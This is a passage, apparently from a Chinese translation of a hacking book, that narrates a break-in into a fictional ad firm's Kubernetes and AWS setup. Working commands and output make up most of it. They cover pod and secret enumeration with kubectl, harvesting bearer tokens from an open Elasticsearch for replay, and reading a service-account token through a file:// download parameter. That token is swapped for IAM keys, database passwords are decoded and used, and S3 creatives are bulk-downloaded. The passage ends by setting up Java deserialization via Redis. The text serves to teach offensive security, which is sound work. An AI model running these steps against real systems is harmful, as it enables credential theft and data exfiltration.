ssp-feeder-deployment-13fe-3evx 1/1 Running   0    10h18m

api-core-deployment-d34c-7qxm   1/1 Running   0    10h18m
`--snip--`

不错!我们获得了在prod命名空间中运行的数百个 Pods 的列表。

由于所有缺乏身份的 Pods 都使用相同的默认服务账户运行,如果某人授予此默认账户额外的权限,则所有与相同身份运行的其他 Pods 都会自动继承这些权限。只需要有人执行一个不经意的kubectl apply -f <url>,从一个不显眼的 GitHub 仓库获取一个设计不良的资源定义,并匆忙将其应用到集群中。人们有时说,这个 Kubectl 安装命令是新的curl <url> | sh。这就是复杂性的隐藏代价:人们可以盲目地从 GitHub 拉取并应用清单文件,而不检查或甚至理解他们所执行的指令的影响,有时还会授予默认服务账户额外的权限。这很可能就是本案例中发生的情况,因为默认账户没有内建的权限集。

但这仅仅是冰山一角。使用正确的标志,我们甚至可以提取每个 Pod 的完整清单,提供大量信息,如列表 8-3 所示。

shell> **./kubectl get pods -n prod -o yaml > output.yaml**
shell> **head -100 output.yaml**

`--snip--`
spec:
  containers:
  - image: 886371554408.dkr.ecr.eu-west-1.amazonaws.com/api-core
    name: api-core
  - env:
    - name: DB_CORE_PASS
      valueFrom:
        secretKeyRef:
          key: password
          name: dbCorePassword
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: apicore-token-2mpcg
      readOnly: true
  nodeName: ip-192-168-162-215.eu-west-1.compute.internal
  hostIP: 192.168.162.215
  phase: Running
  podIP: 10.0.2.34
`--snip--`

列表 8-3:下载 Pod 清单文件

而且那个截断的输出,朋友们,仅仅是一个 pod!我们只有获取 pod 信息的权限,但幸运的是,这意味着我们可以访问 pod 清单文件,其中包含 pod 运行的节点、机密名称、服务账户、挂载的卷等等。这几乎是在命名空间级别上进行的完全侦察,只需要一个小小的权限。

然而,输出是极其难以利用的。手动挖掘 YAML 文件是一种惩罚,应该只留给你的死敌。我们可以使用 Kubectl 强大的自定义输出过滤器来格式化清单 8-3 的结果:

shell> **./kubectl get pods -o="custom-columns=\**
**NODE:.spec.nodeName,\**
**POD:.metadata.name"**

NODE                       POD
ip-192-168-162-215.eu-...  api-core-deployment-d34c-7qxm
ip-192-168-12-123.eu-...   ssp-feeder-deployment-13fe-3evx
ip-192-168-89-110.eu-...   redis-depl-69dc-0vslf
ip-192-168-72-204.eu-...   audit-elastic-depl-3dbc-3qozx

这个相当明确的命令只显示 pods 清单中的spec.nodeNamemetadata.name字段。让我们获取一些额外的数据,比如机密、服务账户、pod IP 等。如清单 8-4 所示,过滤器变得更厚了,但它基本上是遍历 YAML 中的数组和映射,以提取相关信息。

shell> **./** **kubectl get pods -o="custom-columns=\**
**NODE:.spec.nodeName,\**
**POD:.metadata.name,\**
**PODIP:.status.podIP,\**
**SERVICE:.spec.serviceAccount,\**
**ENV:.spec.containers[*].env[*].valueFrom.secretKeyRef,\**
**FILESECRET:.spec.volumes[*].secret.secretName"**

NODE       POD       PODIP       SERVICE    ENV           FILESECRET
ip-192...  api-...   10.0.2...   api-token  dbCore...     api-token-...
ip-192...  ssp-f...  10.10...    default    dbCass...     default-...
ip-192...  ssp-r...  10.0.3...   default    <none>        default-...
ip-192...  audit...  10.20...    default    <none>        default-...
ip-192...  nexus...  10.20....   default    <none>        deploy-secret...

清单 8-4:命名空间级别的完全侦察:节点和 pod 名称、pod IP、服务账户和机密

我已经截断了输出以适应页面,因此在这里描述一下。前两列包含节点和 pod 的名称,帮助我们推测运行在里面的应用性质。第三列是 pod 的 IP,感谢 Kube 的扁平网络设计,这直接将我们带到应用。

第四列列出了附加到每个 pod 的服务账户。任何非default的值意味着该 pod 可能以额外的权限运行。

最后两列列出了 pod 加载的机密,可能是通过环境变量或通过磁盘上挂载的文件加载的。机密可以是数据库密码、我们用来执行此命令的服务账户令牌等。

做黑客真是个好时光!还记得之前侦察需要扫描/16 网络,等待四小时才能得到部分相似的输出吗?现在只需要一个命令。当然,如果默认服务账户没有“获取 pod”权限,我们就得依赖盲目的网络扫描,扫描我们的容器 IP 范围。AWS 非常关注这种异常的网络流量,所以在调整 Nmap 时要小心,避免暴露在雷达下。

我们在清单 8-4 中检索到的 pod 名称充满了广告和技术关键词,例如 SSP、api、kakfa 等。可以放心假设,MXR Ads 在 Kubernetes 上运行了所有涉及广告投放过程的应用。这一定使他们能够根据流量上下扩展应用。我们继续探索其他 pods,并发现一些容器实际加载了 AWS 凭证。哦,这将会带来麻烦:

NODE       ip-192-168-162-215.eu-west-1.compute.internal
POD        creative-scan-depl-13dd-9swkx
PODIP      10.20.98.12
PORT       5000
SERVICE    default
ENV        AWS_SCAN_ACCESSKEY, AWS_SCAN_SECRET
FILESECRET default-token-2mpcg

我们还发现了一些数据存储,如 Redis 和 Elasticsearch。这将会很有趣。

破入数据存储

目前我们最重要的优势是我们成功穿越了防火墙边界。我们已进入集群,处于所谓的受信区。DevOps 管理员仍然抱有错误的假设,认为存在受信网络,即便这个网络属于云服务提供商。John Lambert 关于防御者心态的文章(github.com/JohnLaTwC/Shared)依然准确:“防御者以列表为思维,攻击者以图形为思维。只要这个事实存在,攻击者就赢了。”

Redis 是一个主要用于缓存的键值内存数据库,而 Elasticsearch 是一个面向文本搜索查询的文档数据库。从这个 pod 的描述中,我们可以得知 Elasticsearch 用于存储某些(或可能是所有)应用的审计日志:

NODE       ip-192-168-72-204.eu-west-1.compute.internal
POD        audit-elastic-depl-3dbc-3qozx
PODIP      10.20.86.24
PORT       9200
SERVICE    default
ENV.       <none>
FILESECRET default-token-2mpcg

由于受信网络的荒谬性,认证和加密是最先被放弃的措施。我至今还没遇到过需要认证的内网 Redis 数据库。Elasticsearch 和其他著名的非关系型数据库也是如此,它们开玩笑地要求管理员在“安全”的环境中运行应用程序,不知道那意味着什么。

我理解。安全性显然不是管理员的工作;他们更愿意关注性能、可用性和数据一致性。但这种思维方式不仅是有缺陷的,而且是鲁莽的。安全是任何数据驱动技术的首要要求。数据承载信息,信息等同于权力。自从人类学会八卦以来,这一点就一直是对的。管理员忽视安全,就像核电厂声称它的唯一工作是分裂铀同位素。安全措施?“不,我们不做这些。我们把反应堆放在一个安全的建筑里运行。”

我们选择首先关注 Elasticsearch 的 pods,因为审计日志总是一个有价值的情报来源。它们会记录诸如哪个服务与哪个数据库通信、哪些 URL 端点是活动的、数据库查询是什么样的。我们甚至能在不小心泄露到调试堆栈跟踪中的环境变量里找到密码。

我们回到 Elasticsearch 的 pod 描述,提取该 pod 的 IP 地址(10.20.86.24)和端口(9200),并准备查询该服务。默认情况下,Elasticsearch 没有启用认证,因此多亏了“受信环境”的神话,我们可以完全访问其中存储的数据。

Elasticsearch 将数据组织成索引,这些索引实际上是文档的集合。可以将索引视为传统关系型数据库系统(如 MySQL)中的数据库。在这里,我们拉取集群中定义的索引列表:

shell> **curl "10.20.86.24:9200/_cat/indices?v"**

health index id                          size
yellow test  CX9pIf7SSQGPZR0lfe6UVQ...   4.4kb
yellow logs  dmbluV2zRsG1XgGskJR5Yw...   154.4gb
yellow dev   IWjzCFc4R2WQganp04tvkQ...   4.4kb

我们看到有 154GB 的审计日志数据准备好进行探索。我们从日志索引中拉取最后几条文档:

shell> **curl "10.20.86.24:9200/log/_search?pretty&size=4"**

"hits": [{
`--snip--`
  "_source": {
1 "source": "dashboard-7654-1235",
  "level": "info",
2 "message": "GET /api/dashboard/campaign...\n
  Host: api-core\nAuthorization Bearer 9dc12d279fee485...",
  "timestamp": "2019-11-10T14:34:46.648883"
}}]

Elasticsearch 返回的四个元素中的 message 字段包含存储的原始日志信息。我们挖掘出看似是对 api/dashboard/campaign/1395412512 URL 2 的 HTTP 请求。我们还发现了在第四章外部侦察阶段曾注意到的关于仪表盘应用的引用 1。审计日志中的 URL 暗示,由仪表盘应用加载的活动数据可能是通过名为 api-core 的内部端点检索的(参见 Host 头)2。

有趣的是,我们检索到的 HTTP 消息携带了一个授权令牌,可能是用来识别请求数据的用户。我们可以通过在 Elasticsearch 中应用正确的搜索过滤器 message:Authorization 来集中查看所有存储的令牌。这应该能帮助我们收集足够的令牌,伪装成仪表盘应用上所有当前活跃的用户:

shell> **curl "10.20.86.24:9200/log/_search?pretty&size=12&q=message:Authorization"**

"_timestamp": 1600579234
"message": "...Host: api-core\nAuthorization Bearer 8b35b04bebd34c1abb247f6baa5dae6c..."

"_timestamp": 1600581600
"message": "...Host: api-core\nAuthorization Bearer 9947c7f0524965d901fb6f43b1274695..."
`--snip--`

好的,我们有十多个在过去 12 小时内用于访问仪表盘应用及其扩展的 api-core Pod 的令牌。希望其中一些令牌仍然有效,并可以用于重放攻击。

我们可以通过 Kube 的自动 DNS 解析到达 api-core 服务名称后面的 Pod。或者,我们也可以随时直接提取其中一个 Pod 的 IP 地址,方法如下:

shell> **kubectl get pods -o wide | grep "api-core"**

NODE     ip-192-168-162-215.eu-west-1.compute.internal
POD      api-core-deployment-d34c-7qxm
PODIP    10.0.2.34
PORT     8080

我们重放了从审计索引中提取的随机 URL,并附上其授权令牌:

shell> **curl http://10.0.2.34/api/dashboard/campaign/1395412512 \**
**-H "Authorization: Bearer 8b35b04bebd34c1abb247f6baa5dae6c"**
{
   "progress": "0.3",
   "InsertionID": "12387642",
   "creative": "s4d.mxrads.com/7bcdfe206ed7c1159bb0152b7/...",1
   "capping": "40",
   "bidfactor": "10",
`--snip--`

我们成功了!虽然我们可能无法访问漂亮的仪表盘来可视化这些指标——至少目前还不能——但我们终于看到了一部分原始的活动数据。附加奖励:我们找到了广告中视频文件和图像的存储位置 1。让我们看一下这个 URL:

root@Point1:/# getent -t hosts s4d.mxrads.com
13.225.38.103   s4d.mxrads.com.s3.amazonaws.com

惊讶,惊讶,它重定向到了一个 S3 桶。我们尝试进入该桶,但遗憾的是,我们没有权限列出其中的内容,而且密钥看起来过于随机,无法暴力破解。也许 API 提供了一种按客户名称搜索的方式,来减轻我们的负担?

API 探索

我们想在 API 中找到一个列出客户名称、视频和任何其他可能相关内容的方法。我们开始与 API 进行调试,发送无效的 ID 和随机的 URL 路径,并附上我们的有效令牌,希望能触发任何帮助信息或详细错误:

shell> **curl "http://10.0.2.34/api/randomPath" \**
**-H "Authorization: Bearer 8b35b04bebd34c1abb247f6baa5dae6c"**

{"level":"critical","message":"Path not found. Please refer to the docs
(/docs/v3) for more information"...

我们被引导到了一个文档 URL。对 /docs/v3 URL 发起的查询暴露了整个 API 文档:有哪些可用的端点、需要发送的参数、需要包含的头信息等等。真是太贴心了!

结果证明,我们的直觉并没有错:授权令牌确实与最终用户及其活动范围相关联。我们抓取的随机令牌不太可能有资格查看或编辑 Gretsch Politico 的活动(除非,当然,恰巧有一个活跃的 GP 用户或管理员当前正在与 api-core Pod 通信——不过,拜托,我们都知道圣诞节还得等好几个月)。

文档明确表示,api-core 端点是 MXR Ads 使用的每个交付应用程序的入口点。它是他们的主要数据库抽象层。它从多个数据源汇总业务信息,并提供交付过程的统一概览。

除了你会从一个全能 API 中期待的常规命令(获取广告系列、列出插入项、查找排除列表等),文档中提到的一个额外功能激起了我们的黑客直觉:使用报告。该功能描述如下:“/usage-report 端点生成一个报告文件,详细列出 API 的健康状况以及跟踪其性能和配置的多个指标*。”

配置真不错。我们喜欢“配置”这个词。配置数据通常包含密码、端点定义和其他 API 秘密。但还有更多。他们提到的那个报告文件……它是如何生成的?如何获取的?我们能下载它吗?如果能,能否修改 URL 来抓取其他文件?有没有任何检查?报告生成的动态特性可能会为我们提供一个切入点。

让我们试试这个报告使用功能。我们尝试生成一个报告,仔细检查一下:

shell> **curl http://10.0.2.34/usage-report/generate"**
**-H "Authorization: Bearer 8b35b04bebd34c1abb247f6baa5dae6c"**
{
 "status": "success",
    "report": "api-core/usage-report/file/?download=s3://mxrads-reports/98de2cabef81235dead4               .html"
}

shell> **curl api-core/usage-report/file/?download=s3://mxrads-reports/98de2cabef81235dead4.html**

`--snip--`
Internal configuration:
Latency metrics:
Environment:
PATH_INFO: '/usage-report'
PWD '/api/'
SHELL '/bin/bash/'

AWS_ROLE_ARN 'arn:aws:iam::886477354405:role/api-core.ec2'1 

AWS_WEB_IDENTITY_TOKEN_FILE '/var/run/secrets/eks.amazonaws.com/serviceaccount/token'2 

DB_CORE_PASS **********
DB_CORE_USER **********
DBENDPOINT=984195.cehmrvc73g1g.eu-west-1.rds.amazonaws.com 3 
`--snip--`

确实非常有趣!幸运的是,对于 MXR Ads 来说,使用报告生成器的开发者屏蔽了数据库用户和密码,所以没有简单的访问方式,但我们仍然得到了数据库端点 3:984195.cehmrvc73g1g.eu-west-1.rds.amazonaws.com。显然,数据是从 AWS 上的托管关系型数据库 RDS 中获取的。

但暂时先不管数据库。我们发现了一些可能让我们更有优势的东西。

我们将重点关注这两个特殊变量:AWS_ROLE_ARNAWS_WEB_IDENTITY_TOKEN_FILE。根据 AWS 文档,当一个 IAM 角色被附加到 Kubernetes 服务账户时,AWS 管理版 Kubernetes(EKS)会注入这两个变量。这里的 api-core pod 可以用其 Kube 身份验证令牌交换为普通的 IAM 访问密钥,这些密钥携带 api-core.ec2 角色的权限 1。这是一次绝妙的权限提升!

如果能加载存储在 AWS_WEB_IDENTITY_TOKEN_FILE 文件中服务账户令牌,并将其交换为 IAM 访问密钥,看看我们能访问哪些内容,不能访问哪些内容,那将会很有意思。

usage-report 功能很可能能帮助我们实现这个目标。下载 URL 指向一个 S3 URL,但很可能它也接受其他 URL 处理程序,比如 file:// 从磁盘加载文档,就像服务 AWS_WEB_IDENTITY_TOKEN_FILE 令牌文件 2:

shell> **curl api-core/usage-report/file?download=\**
**file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token**

eyJhbGciOiJSUzI1NiIsImtpZCI6ImQxNWY4MzcwNjI5Y2FmZGRiOGNjY2UzNjBiYzFjZGMwYWY4Zm...

当事情按预期顺利进行时真是太好了!我们获得了一个服务账户令牌。让我们看看能否将其交换为 IAM 密钥。如果我们解码这个令牌并与之前获得的默认 JWT 进行比较,我们会注意到一些关键的区别:

{
1 "aud": ["sts.amazonaws.com"],
  "exp": 1574000351,
2 "iss": "https://oidc.eks.eu-west-1.amazonaws.com/id/4BAF8F5",
  "kubernetes.io": {
    "namespace": "prod",
`--snip--`
    "serviceaccount": {
      "name": "api-core-account",
      "uid": "f9438b1a-087b-11ea-9d5f-06c16d8c2dcc"
    }
  "sub": "system:serviceaccount:prod:api-core-account"
}

服务帐户令牌具有一个观众属性 aud 1,它是接受我们刚解码的令牌的资源服务器。这里设置为 STS——AWS 服务,用于授予临时 IAM 凭证。令牌的颁发者 2 不再是服务帐户控制器,而是与 EKS 集群一起配置的 OpenID 服务器。OpenID 是一种认证标准,用于将认证委托给第三方。AWS IAM 信任该 OpenID 服务器,确保 JWT 中的声明被正确签名和认证。

根据 AWS 文档,如果一切设置正确,IAM 角色 api-core.ec2 也将被配置为信任由该 OpenID 服务器发出的模拟请求,并带有主题声明 system:serviceaccount:prod:api-core-account

当我们调用 aws sts assume-role-with-web-identity API 并提供必要的信息(网络令牌和角色名称)时,我们应该会得到有效的 IAM 凭证:

root@Pointer1:/# AWS_ROLE_ARN="arn:aws:iam::886477354405:role/api-core.ec2"
root@Pointer1:/# TOKEN ="ewJabazetzezet..."

root@Pointer1:/# aws sts assume-role-with-web-identity \
**--role-arn $AWS_ROLE_ARN \**
**--role-session-name sessionID \**
**--web-identity-token $TOKEN \**
**--duration-seconds 43200**

{
    "Credentials": {
        "SecretAccessKey": "YEqtXSfJb3lHAoRgAERG/I+",
        "AccessKeyId": "ASIA44ZRK6WSYXMC5YX6",
        "Expiration": "2019-10-30T19:57:41Z",
        "SessionToken": "FQoGZXIvYXdzEM3..."
    },
`--snip--`
}

哈利路亚!我们刚刚将 Kubernetes 服务令牌升级为可以与 AWS 服务交互的 IAM 角色。通过这种新类型的访问权限,我们能造成什么样的影响?

滥用 IAM 角色权限

api-core 应用程序管理广告活动,包含指向存储在 S3 上的创意文件的链接,并具有许多其他功能。可以合理推测,相关的 IAM 角色具有一些扩展权限。我们从一个显而易见的权限开始,它从一开始就一直困扰着我们——列出 S3 上的桶:

root@Pointer1:/# aws s3api list-buckets
{
  "Buckets": [
     {
       "Name": "mxrads-terraform",
       "CreationDate": "2017-10-25T21:26:10.000Z"

       "Name": "mxrads-logs-eu",
       "CreationDate": "2019-10-27T19:13:12.000Z"

       "Name": "mxrads-db-snapshots",
       "CreationDate": "2019-10-26T16:12:05.000Z"
`--snip--`

终于!经过无数次尝试,我们终于找到了一个拥有 ListBuckets 权限的 IAM 角色。这花了一些时间!

不要太兴奋了。我们确实可以列出桶,但这并不能说明我们是否能够从这些桶中检索单个文件。然而,通过查看桶列表,我们获得了对 MXR Ads 操作模式的新见解。

例如,桶 mxrads-terraform 很可能存储了 Terraform 生成的状态,Terraform 是一个用于设置和配置云资源(如服务器、数据库和网络)的工具。状态是所有由 Terraform 生成和管理的资产的声明性描述,例如服务器的 IP、子网、IAM 角色、与每个角色和用户关联的权限等等。它甚至存储明文密码。即使我们的目标使用了像 Vault、AWS 密钥管理服务(KMS)或 AWS Secrets Manager 这样的密钥管理工具,Terraform 也会动态解密这些密码并将其明文版本存储在状态文件中。哦,我们愿意为访问那个桶付出什么代价。让我们试试看:

root@Point1:~/# aws s3api list-objects-v2 --bucket mxrads-terraform

An error occurred (AccessDenied) when calling the ListObjectsV2 operation:
Access Denied

唉,运气不好。凡事都得慢慢来。让我们回到我们的桶列表。

我们确认至少有一个桶 api-core 应该能够访问:s4d.mxrads.com,这是存储所有创意文件的桶。我们将使用我们的 IAM 权限列出该桶的内容:

root@Point1:~/# aws s3api list-objects-v2 --bucket s4d.mxrads.com > list_creatives.txt
root@Point1:~/# head list_creatives.txt
{"Contents": [{
  "Key": "2aed773247f0203d5e672cb/125dad49652436/vid/720/6aa58ec9f77af0c0ca497f90c.mp4",

  "LastModified": "2015-04-08T22:01:48.000Z",
`--snip--`

嗯……是的,我们确实有权限访问 MXR Ads 在广告活动中使用的所有视频和图片,但我们不打算下载并播放数以 TB 计的媒体广告,只为找出 Gretsch Politico 使用的广告内容。肯定有更好的方法来检查这些文件。

是的,记得我们几分钟前获取的 Kubernetes 服务账户令牌吗?我们匆忙将其转换为 AWS 凭证,以至于几乎忘记了它本身所拥有的权限。那个服务账户是获取归属于 api-core pod 的集群资源的金钥匙。你猜猜 api-core 需要什么属性才能运行?数据库凭证!我们将利用数据库访问权限,瞄准 Gretsch Politico 的创意内容,然后使用我们新获得的 IAM 权限从 S3 下载这些视频。

滥用服务账户权限

我们回到忠实的反向 shell,发出一条新的 curl 命令给 API 服务器,这次带上了 api-core 的 JWT。我们请求在 pod 描述中找到的机密 dbCorepassword

shell> **export TOKEN="ewJabazetzezet..."**
shell> **curl -Lk \**
**https://10.100.0.1/api/v1/namespaces/prod/secrets/dbCorepassword \**
**--header "Authorization: Bearer $TOKEN"**
{
    "kind": "Secret",
    "data": {
      "user": "YXBpLWNvcmUtcnc=",
      "password": "ek81akxXbGdyRzdBUzZs" }}

接着我们解码用户名和密码:

root@Point1:~/# echo YXBpLWNvcmUtcnc= |base64 -d
api-core-rw
root@Point1:~/# echo ek81akxXbGdyRzdBUzZs |base64 -d
zO5jLWlgrG7AS6l

瞧,广告活动数据库凭证是 api-core-rw / zO5jLWlgrG7AS6l

渗透数据库

让我们从集群中启动数据库连接,以防 RDS 实例受到某些入口防火墙规则的保护。我们不确定要查询哪个数据库后端(RDS 支持 MySQL、Aurora、Oracle、SQL Server 等)。由于 MySQL 是最受欢迎的引擎,我们先尝试 MySQL:

shell> **export DBSERVER=984195.cehmrvc73g1g.eu-west-1.rds.amazonaws.com**

shell> **apt install -y mysql-client**
shell> **mysql -h $DBSERVER -u api-core-rw -pzO5jLWlgrG7AS6l -e "Show databases;"**

+--------------------+
| Database           |
+--------------------+
| information_schema |
| test               |
| campaigns          |
| bigdata            |
| taxonomy           |
--snip--

我们成功进入了。

定位 Gretsch Politico 的广告活动需要一些基本的 SQL 知识,这里我就不再详细讲解了。我们从列出服务器上的每一列、表和数据库开始。这些信息可以在information_schema数据库的COLUMN_NAME表中轻松找到:

shell> **mysql -h $DBSERVER -u api-core-rw -pzO5jLWlgrG7AS6l -e\**
**"select COLUMN_NAME,TABLE_NAME, TABLE_SCHEMA,TABLE_CATALOG from information_schema.columns;"**
+----------------------+--------------------+--------------+
| COLUMN_NAME          | TABLE_NAME         | TABLE_SCHEMA |
+----------------------+--------------------+--------------+
| counyter             | insertions         | api          |
| id_entity            | insertions         | api          |
| max_budget           | insertions         | api          |
`--snip--`

我们精挑细选了几列和表,这些很可能存有广告活动数据,然后通过几个select语句和join操作查询这些信息。这应该能给我们提供广告活动列表、创意 URL 和每个广告活动的预算——所有我们所需要的信息。我们确保再次使用我们偷来的凭证:

shell> **mysql -h $DBSERVER -u api-core-rw -pzO5jLWlgrG7AS6l campaigns -e\**
**"select ee.name, pp.email, pp.hash, ii.creative, ii.counter, ii.max_budget\**
**from insertions ii\**
**inner join entity ee on ee.id= ii.id_entity\**
**inner join profile pp on pp.id_entity= ii.id_entity\**
**where ee.name like '%gretsch%'"**

---
Name : Gretsch Politico
Email: eloise.stinson@gretschpolitico.com
Hash: c22fe077aaccbc64115ca137fc3a9dcf
Creative: s4d.mxrads.com/43ed90147211803d546734ea2d0cb/
12adad49658582436/vid/720/88b4ab3d165c1cf2.mp4
Counter: 16879
Maxbudget: 250000
---
`--snip--`

看起来 GP 的客户每一则广告都花费了成百上千美元,而目前有 200 条广告正在投放。真是一笔可观的收入。

我们遍历数据库中找到的所有创意 URL,并从 S3 获取它们。

还记得黑客们曾经需要小心设计外泄工具和技术,绕过数据丢失防护措施,并费劲地从公司网络中提取数据吗?是的,现在我们不需要再做这些了。

云服务提供商不关心你在哪里。只要你拥有正确的凭证,你可以下载任何你想要的内容。目标方可能会在月底收到一份昂贵的账单,但这几乎不会引起财务部门的任何怀疑。反正 MXR 广告公司一直在全球范围内提供这些视频。我们只是在一次性扫荡所有的内容。

考虑到涉及的创意数量(属于 GP 的几百个创意),我们将利用一些xargs魔法来并行化调用get-object API。我们准备了一个包含创意列表的文件,然后循环遍历每一行并将其传递给xargs

root@Point1:~/creatives# cat list_creatives.txt | \
**xargs -I @ aws s3api get-object \**
**-P 16 \**
**--bucket s4d.mxrads.com \**
**--key @ \**
**$RANDOM**

-I标志是替换令牌,决定在哪里注入读取的行。xargs中的-P标志表示最大并发进程数(在我的机器上为 16)。最后,RANDOM是一个默认的 bash 变量,在每次评估时返回一个随机数字,它将成为下载的创意的本地名称。让我们看看我们抓取了多少创意:

root@Point1:~/creatives# ls -l |wc -l
264

我们得到了 264 个创意——也就是 264 条仇恨信息、PS 合成的图像、修改过的视频和精心剪辑的场景,强调两极化的信息。有些图像甚至劝阻人们投票。显然,为了得到理想的选举结果,什么都不在话下。

在获取这些视频文件时,我们成功完成了第四章的目标 3。我们还有两个关键目标需要完成:揭示 GP 客户的真实身份,并了解数据分析活动的范围。

我们回到 S3 存储桶列表,试图寻找与一些机器学习或分析技术(如 Hadoop、Spark、Flink、Yarn、BigQuery、Jupyter 等)相关的线索或参考,但没有找到任何我们能访问到的有意义的内容。

那么,交付链中的另一个组件怎么样?我们列出了在prod命名空间中运行的所有 Pod,寻找灵感:

shell> **./kubectl get pods -n prod -o="custom-columns=\**
**NODE:.spec.nodeName,\**
**POD:.metadata.name"**

NODE                         POD
ip-192-168-133-105.eu-...    vast-check-deployment-d34c-7qxm
ip-192-168-21-116.eu-...     ads-rtb-deployment-13fe-3evx
ip-192-168-86-120.eu-...     iab-depl-69dc-0vslf
ip-192-168-38-101.eu-...     cpm-factor-depl-3dbc-3qozx
`--snip--`

这些 Pod 的名称晦涩难懂。广告行业,和华尔街一样,有一个不太好的习惯,那就是躲在晦涩的缩写背后,制造疑惑和混乱。因此,在维基百科上研究了几个小时解读这些名称后,我们决定专注于ads-rtb应用。RTB 代表实时竞价,它是一种用于进行拍卖的协议,从而决定在网站上展示特定广告,而不是其他广告。

每当用户在与 MXR Ads 合作的网站上加载页面时,一段 JavaScript 代码会触发对 MXR Ads 的供应方平台(SSP)的调用,进行一次拍卖。MXR Ads 的 SSP 将请求转发给其他 SSP、广告公司或品牌,收集它们的竞标。每个代理商,作为需求方平台(DSP),会出价一定的金额来展示他们选择的广告。他们愿意出价的金额通常基于多个标准:网站的 URL、广告在页面上的位置、页面中的关键词,以及最重要的,用户的数据。如果这些标准符合广告主的需求,他们会出价更高。这场拍卖通过 RTB 协议自动进行。

可能 RTB Pod 并没有访问个人数据,仅仅是盲目地将请求转发给由 GP 托管的服务器,但考虑到 RTB 协议在广告投放中的核心地位,这些 Pod 很可能将引导我们进入下一个目标。

Redis 和实时竞价

我们拉取 ads-rtb 的 Pod 清单:

spec:
    containers:
    - image: 886371554408.dkr.ecr.eu-west-1.amazonaws.com/ads-rtb
`--snip--`
    - image: 886371554408.dkr.ecr.eu-west-1.amazonaws.com/redis-rtb
      name: rtb-cache-mem
      ports:
      - containerPort: 6379
        protocol: TCP
    nodeName: ip-192-168-21-116.eu-west-1.compute.internal
    hostIP: 192.168.21.116
    podIP: 10.59.12.47

看!一个 Redis 容器正在与 RTB 应用程序并行运行,监听端口 6379。

如前所述,我尚未见过在内部网络中受身份验证保护的 Redis 数据库,所以你可以想象我们的 Redis 藏在 Kubernetes 集群中的 Pod 里,显然是张开双臂欢迎我们的。我们下载 Redis 客户端并开始列出数据库中保存的键:

shell> **apt install redis-tools**

shell> **redis -h 10.59.12.47 --scan * > all_redis_keys.txt**

shell> **head -100 all_redis_keys.txt**
vast_c88b4ab3d_19devear
select_3799ec543582b38c
vast_5d3d7ab8d4
`--snip--`

每个 RTB 应用程序都配有一个伴随的 Redis 容器,作为本地缓存存储各种对象。键 select_3799ec543582b38c 存储着一个字节序列化的 Java 对象。我们可以从中看出,因为任何 Java 序列化对象都有一个十六进制字符串标记 00 05 73 72,我们在查询该键的值时正好看到了这个标记:

shell> **redis -h 10.59.12.47 get select_3799ec543582b38c**

AAVzcgA6Y29tLm14cmFkcy5ydGIuUmVzdWx0U2V0JEJpZFJlcXVlc3SzvY...

shell> **echo -ne AAVzcgA6Y29tLm14cmFkcy5ydGI...| base64 -d | xxd**

aced **0005 7372** 003a 636f 6d2e 6d78 7261  ......sr.:com.mxra
6473 2e72 7462 2e52 6573 756c 7453 6574  ds.rtb.ResultSet$B
2442 6964 5265 7175 6573 74b3 bd8d d306  $BidRequest.......
091f ef02 003d dd...

为了避免从数据库中反复获取相同的结果并无谓地消耗网络延迟的高昂成本,ads-rtb 容器将之前的数据库结果(如字符串、对象等)保存在本地 Redis 容器缓存中。如果相同的请求再次出现,它几乎可以立即从 Redis 中获取相应的结果。

这种缓存形式在初期应用设计时可能被视为一个绝妙的主意,但它涉及一个危险且常被忽视的操作:反序列化。

反序列化

当一个 Java 对象(或几乎任何高级语言中的对象,如 Python、C# 等)被反序列化时,它会从一串字节流中转回为一系列属性,从而填充一个实际的 Java 对象。这个过程通常是通过目标类的 readObject 方法来完成的。

这里有一个简单的例子,展示了 ads-rtb 内部可能发生的情况。在代码的某个地方,应用程序从 Redis 缓存加载了一个字节数组,并初始化了一个输入流:

// Retrieve serialized object from Redis
byte[] data = FetchDataFromRedis()
// Create an input stream
ByteArrayInputStream bis = new ByteArrayInputStream(data);

接下来,这一系列字节由ObjectInputStream类消耗,该类实现了readObject方法。这个方法提取类、类签名以及静态和非静态属性,实际上是将一系列字节转换为一个真实的 Java 对象:

// Create a generic Java object from the stream
ObjectInputStream ois = new ObjectInputStream(bis);

// Calling readObject of the bidRequest class to format/prepare the raw data
BidRequest objectFromRedis = 1(BidRequest)ois.readObject();

这时我们可能会找到突破口。我们并没有调用ObjectInputStream的默认readObject方法,而是调用了目标类BidRequest1 中定义的自定义readObject方法。

这个自定义的readObject方法几乎可以对接收到的数据做任何操作。在接下来的这个无聊的场景中,它只是将一个名为auctionID的属性转换为小写,但任何事情都有可能发生:它可以进行网络调用、读取文件,甚至执行系统命令。而且它是根据从不可信的序列化对象中获得的输入来执行的:

// BidRequest is a class that can be serialized
class BidRequest implements Serializable{
    public String auctionID;
    private void readObject(java.io.ObjectInputStream in){
       in.defaultReadObject();
       this.auctionID = this.auctionID.toLowerCase();
       // Perform more operations on the object attributes
    }
}

因此,挑战在于制作一个包含正确值的序列化对象,并引导readObject方法的执行流程,直到它到达系统命令执行或其他有趣的结果。这看起来可能是一个很长的过程,但这正是几位研究人员几年前所做的。唯一的不同是,他们发现了这个漏洞存在于 commons-collections 库中readObject方法的一个类里,而 commons-collections 是 Java 运行时环境(JRE)中默认随附的一个 Java 库(可以查看 Matthias Kaiser 的讲座《Exploiting Deserialization Vulnerabilities in Java》)。

在这次讲座后的短暂时刻,反序列化漏洞几乎与 Windows 漏洞在数量上相媲美,真是让人难以置信!故障类的readObject方法在 commons-collections 库的更新版本(从 3.2.2 开始)中被修复,但由于调优 Java 虚拟机(JVM)通常是一个危险的过程,根据民间传说和古老的智慧,许多公司抵制升级 JVM 的冲动,从而为反序列化漏洞敞开了大门。

首先,我们需要确保我们的 pod 存在这个漏洞。

如果你还记得,在第五章我们遇到了一个名为 mxrads-dl 的存储桶,它似乎充当了一个公共 JAR 文件和二进制文件的私人仓库。这个存储桶应该包含像 ads-rtb 这样的应用程序使用的几乎所有版本的外部 JAR 文件。因此,答案可能就在里面。我们通过搜索存储桶中的键,查找由 ysoserial 工具支持的易受攻击的 Java 库(github.com/frohoff/ysoserial/),该工具用于制作有效载荷,触发许多 Java 类中的反序列化漏洞。该工具的 GitHub 页面列出了许多可以被利用的著名库,如 commons-collections 3.1、spring-core 4.1.4 等。

root@Point1:~/# aws s3api list-objects-v2 --bucket mxrads-dl > list_objects_dl.txt
root@Point1:~/# grep 'commons-collections' list_objects_dl.txt

